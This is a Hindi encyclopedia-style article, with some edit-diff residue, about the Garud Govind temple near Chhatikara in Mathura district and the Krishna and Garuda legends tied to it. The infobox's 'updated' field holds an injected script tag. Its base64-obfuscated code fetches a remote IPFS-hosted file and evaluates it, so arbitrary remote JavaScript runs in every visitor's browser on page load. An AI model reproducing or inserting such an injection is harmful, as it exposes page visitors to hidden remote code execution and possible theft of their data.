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'''गरुड़ गोविन्द मन्दिर''' [[उत्तर प्रदेश]] राज्य के [[मथुरा ज़िला|मथुरा ज़िले]] स्थित है। [[मथुरा]] से [[दिल्ली]] जाते समय 'राष्ट्रीय राजमार्ग 2' पर पड़ने वाले [[छटीकरा]] के पास ही 'गरूड़ - गोविन्द' [[कृष्ण]] की विहार स्थली है। एक दिन श्रीकृष्ण गोचारण करते हुए सखाओं के साथ यहाँ नाना प्रकार की क्रीड़ाओं में मग्न थे। वे बाल क्रीड़ा करते हुए श्रीदाम सखा को गरुड़ बनाकर उसकी पीठ पर स्वयं बैठकर इस प्रकार खेलने लगे मानो स्वयं [[विष्णु|लक्ष्मीपति नारायण]] गरुड़ की पीठ पर सवार हों। | '''गरुड़ गोविन्द मन्दिर''' [[उत्तर प्रदेश]] राज्य के [[मथुरा ज़िला|मथुरा ज़िले]] स्थित है। [[मथुरा]] से [[दिल्ली]] जाते समय 'राष्ट्रीय राजमार्ग 2' पर पड़ने वाले [[छटीकरा]] के पास ही 'गरूड़ - गोविन्द' [[कृष्ण]] की विहार स्थली है। एक दिन श्रीकृष्ण गोचारण करते हुए सखाओं के साथ यहाँ नाना प्रकार की क्रीड़ाओं में मग्न थे। वे बाल क्रीड़ा करते हुए श्रीदाम सखा को गरुड़ बनाकर उसकी पीठ पर स्वयं बैठकर इस प्रकार खेलने लगे मानो स्वयं [[विष्णु|लक्ष्मीपति नारायण]] गरुड़ की पीठ पर सवार हों। | ||
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07:53, 23 जून 2017 के समय का अवतरण
गरुड़ गोविन्द मन्दिर
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विवरण | 'गरुड़ गोविन्द मन्दिर' मथुरा से दिल्ली जाते समय 'राष्ट्रीय राजमार्ग 2' पर पड़ने वाले छटीकरा के पास ही कृष्ण की विहार स्थली है। |
राज्य | उत्तर प्रदेश |
ज़िला | मथुरा |
कब जाएँ | कभी भी |
बस, कार,ऑटो आदि | |
संबंधित लेख | वृन्दावन, बाँके बिहारी मंदिर, रंगनाथ जी मन्दिर, वृन्दावन, प्रेम मन्दिर, मदन मोहन मन्दिर वृन्दावन
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अन्य जानकारी | रामावतार में जब श्रीरामचन्द्र मेघनाद के द्वारा नागपाश में बंधकर असहाय जैसे हो गये, उस समय देवर्षि नारद से संवाद पाकर गरुड़ जी वहाँ उपस्थित हुए। उनको देखते ही नाग श्रीरामचन्द्र को छोड़कर भाग गये। |
अद्यतन | 16:08, 23 जुलाई 2016 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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गरुड़ गोविन्द मन्दिर उत्तर प्रदेश राज्य के मथुरा ज़िले स्थित है। मथुरा से दिल्ली जाते समय 'राष्ट्रीय राजमार्ग 2' पर पड़ने वाले छटीकरा के पास ही 'गरूड़ - गोविन्द' कृष्ण की विहार स्थली है। एक दिन श्रीकृष्ण गोचारण करते हुए सखाओं के साथ यहाँ नाना प्रकार की क्रीड़ाओं में मग्न थे। वे बाल क्रीड़ा करते हुए श्रीदाम सखा को गरुड़ बनाकर उसकी पीठ पर स्वयं बैठकर इस प्रकार खेलने लगे मानो स्वयं लक्ष्मीपति नारायण गरुड़ की पीठ पर सवार हों।
अन्य कथा
रामावतार में जब श्रीरामचन्द्र जी मेघनाद के द्वारा नागपाश में बंधकर असहाय जैसे हो गये, उस समय देवर्षि नारद से संवाद पाकर गरुड़ जी वहाँ उपस्थित हुए। उनको देखते ही नाग श्रीरामचन्द्र जी को छोड़कर भाग गये। इससे गरुड़ जी को श्रीराम की भगवत्ता में कुछ संदेह हो गया। पीछे से महात्मा काकभुशुंडी के सत्संग से एवं तत्पश्चात् श्रीकृष्ण लीला के समय श्रीकृष्ण दर्शन से उनका वह संदेह दूर हो गया। जहाँ उन्होंने गो, गोप एवं गऊओं के पालन करने वाले श्री गोविन्द का दर्शन किया था, उसे गरुड़ गोविन्द कहते हैं। उस समय श्रीकृष्ण ने उनके कंधे पर आरोहण कर उन्हें आश्वासन दिया था।
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टीका टिप्पणी और संदर्भ
संबंधित लेख